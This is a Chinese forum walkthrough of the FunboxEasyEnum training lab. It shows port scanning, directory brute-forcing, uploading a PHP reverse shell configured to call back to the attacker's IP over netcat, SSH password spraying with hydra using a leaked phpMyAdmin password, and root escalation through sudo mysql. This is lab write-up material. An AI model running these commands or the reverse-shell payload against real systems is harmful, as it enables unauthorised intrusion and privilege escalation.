OSCP系列靶场-Esay-FunboxEasyEnum

杳若   ·   发表于 2023-07-26 17:54:19   ·   CTF&WP专版

OSCP系列靶场-Esay-FunboxEasyEnum

总结

getwebshell → 带脚本语言的目录扫描 → 发现上传 → 上传getwebshell

提 权 思 路 → 利用用户弱密码 → SSH登录 → sudo-mysql提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.220

  • 启动靶机
    获取目标机器IP > 192.168.235.132

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
    1. sudo nmap --min-rate 10000 -p- 192.168.235.132


通过两次收集到的端口:→22,80

目标端口对应服务探测

  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p22,80 192.168.235.132

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(待定)

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测到版本OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

  1. # 进入msf
  2. msfconsole
  3. # 搜索对应脚本
  4. msf6 > searchsploit OpenSSH 7.6p1

存在类似用户枚举,等后期没思路的时候考虑

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

  1. ssh root@192.168.235.132 -v
  2. # 如果显示publickey、password就是都支持

证明支持私钥以及密码登录

22-SSH弱口令爆破(待定)

尝试root账户的密码爆破,利用工具hydra,线程-t为6

  1. hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.235.132 ssh -s 22

慢慢爆破,探测下一个功能点

22-SSH手动登录尝试(失败)

尝试root账户的密码爆破发现报错之后进行手动尝试

  1. ssh root@192.168.235.132 -p 22
  2. # 密码尝试
  3. password > root

80-HTTP端口的信息收集

访问 http://192.168.235.132:80 从源码查看开始

信息收集-源码查看(无)

  1. # 包括文章中是否写明一些敏感信息
  2. curl http://192.168.235.132:80

无敏感信息

信息收集-目录扫描

信息收集-目录扫描初步
  1. dirsearch -u http://192.168.235.132:80 -x 302,403


因为扫出了目录,深层次的扫描待选

  1. 信息收集-目录扫描(后缀)
  2. 信息收集-目录扫描(深度/大字典)
  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/robots.txt端点

访问 http://192.168.235.132/robots.txt 得到一行

  1. Enum_this_Box

访问 http://192.168.235.132/Enum_this_Box不通

从字面上理解需要枚举这个靶场(可能枚举还不够,待定)

/phpmyadmin/doc/html/index.html端点

该端点得到 phpmyadmin 4.6.6

/phpmyadmin/index.php与/phpmyadmin端点

是一个phpmyadmin的登录点

漏洞利用-msf

针对现有情况尝试搜索msf

  1. searchsploit phpmyadmin 4.6.6

没有发现存在历史漏洞

思考

似乎陷入了僵局,现在的方向是

  • 用更大的字典(robots的提示)
  • 递归爆破子路径
  • 登录端点的弱口令、爆破
  • ssh端点的爆破与利用

    信息收集-目录扫描gobuster

    决定使用字典,并且根据脚本语言使用php后缀
    1. # -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl
    2. gobuster dir -u http://192.168.235.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php -k
    发现了新的端点/mini.php

漏洞利用-getwebshell

端点访问

访问 http://192.168.235.132/mini.php 似乎是文件上传点

上传功能点探测

测试发现可以上传任意.php文件

路径确认

点击文件之后发现存在文件读取


从路径确认是/var/www/html/下,文件在主目录内
就是主域名+shell.php
上传任意文本后访问验证猜想

文件上传getwebshell

反弹shell准备

  1. # 利用cp命令cp一个到当前文件夹
  2. sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
  1. # 开启监听
  2. sudo nc -lvnp 5555
  1. # 利用grep确定修改反弹shell_ip的第49行
  2. grep -n "127.0.0.1" shell.php
  3. > 49:$ip = '127.0.0.1'; // CHANGE THIS
  4. # 同理监听端口是第50行
  5. grep -n "1234" shell.php
  6. 50:$port = 1234; // CHANGE THIS
  7. # 利用sed命令替换里面的内容
  8. sed -i '49s/127.0.0.1/192.168.45.220/' shell.php
  9. sed -i '50s/1234/5555/' shell.php
  10. # 利用sed查看49与50行是否修改成功
  11. sed -n '49,50p' shell.php

成功获取webshell

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

  1. python3 -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. www-data@funbox7:/$ cat /var/www/local.txt
  2. ********************

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

  1. # 确定发行版本
  2. cat /etc/*-release

发行版本为ubuntu的18版本,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

  1. uname -a

内核版本为4.15

检测当前用户的权限

  1. www-data@funbox7:/$ id
  2. id
  3. uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. # 利用sudo -l寻找
  2. sudo -l

发现需要密码

列举出所有suid文件

如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. # -perm 文件权限
  2. find / -perm -u=s -type f 2>/dev/null

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

  1. ls -al /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
    1. ls -al /etc/shadow

getcap标志进程收集(无)

高版本下suid列举不全,查看getcap

  1. # 探查有CAP_SETUID标志的进程
  2. /usr/sbin/getcap -r / 2>/dev/null

列举定时任务(无)

查找所有的定时任务,并且查看定时任务是否具有修改权限

  1. # 寻找定时任务
  2. cat /etc/crontab

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

  1. ls -al /home

发现了五个用户

  1. goat
  2. harry
  3. karla
  4. oracle
  5. sally

确认当前用户home目录下是否有隐藏文件(无)
  1. # 例如.ssh找密码 ./*_history找历史记录等
  2. ls -al /home/[用户]

确认/var目录下信息

一般配置的cms之类的信息会放置在/var目录下
备份文件没有权限读取


www目录下没找到什么信息


到这里想到了mini.php是一个服务的话
phpmyadmin的内容还未查阅

phpmyadmin信息

  1. find / -name phpmyadmi* 2>/dev/null

发现了类似配置文件的部分


首先查阅一下/etc/phpmyadmin目录下


翻阅了一下资料phpmyadmin的配置文件是config.*.php


得到了账号密码信息以及3306数据库

  1. $dbuser='phpmyadmin';
  2. $dbpass='tgbzhnujm!';
  3. $basepath='';
  4. $dbname='phpmyadmin';
  5. $dbserver='localhost';
  6. $dbport='3306';
  7. $dbtype='mysql';
mysql数据库翻阅(此路不通)
  1. # 连接数据库
  2. mysql -uphpmyadmin -ptgbzhnujm!

看到了很多表


进去查看发现不成功

SSH爆破-1指定密码爆破

费劲千辛万苦我们得到的信息陷入了思路,但是得到了账号密码信息,可能可以用于登录其他用户
尝试直接su输入密码tgbzhnujm!发现不对


那么可不可能该密码是某个用户的密码?
之前收集账户的时候的伏笔1将收集到的5个用户做成字典进行爆破

  1. echo "goat\nharry\nkarla\noracle\nsally" > user.txt


利用hyrda进行指定密码的爆破

  1. # -L 指定账号字典
  2. hydra -L user.txt -p tgbzhnujm! -t 6 -vV 192.168.156.132 ssh -s 22

证明推测正确,成功找到可以ssh登录的用户

SSH爆破-2弱口令密码爆破

之前收集账户的时候的伏笔2利用账号等于密码的思路进行爆破

  1. hydra -L user.txt -P user.txt -t 6 -vV 192.168.156.132 ssh -s 22

发现也存在弱口令的密码

SSH登录

获取账号密码之后利用SSH进行登录

  1. sudo ssh karla@192.168.156.132 -p22
  2. password > tgbzhnujm!


分别取两个ssh进行登录,查看哪个用户较为容易提权

  1. sudo ssh goat@192.168.156.132 -p22
  2. password > goat

权限提升

Linux提权-sudo提权尝试

查找具有sudo权限,且不需要密码的可提权文件

  1. # 利用sudo -l寻找
  2. sudo -l

通过同时尝试,发现goat用户下存在sudo权限文件


如果发现有东西的话 访问 https://gtfobins.github.io 寻找

  1. sudo mysql -e '\! /bin/sh'


输入成功提权

FLAG2获取

  1. # cat /root/proof.txt
  2. ***************************

完结撒花~

反思

兜兜转转了很久,最终才在用户处发现了突破口,枚举思路还需要提升。

用户名金币积分时间理由
Track-魔方 600.00 0 2023-08-02 10:10:38 深度 200 普适 200 可读 200

打赏我,让我更有动力~

0 条回复   |  直到 2023-7-29 | 473 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.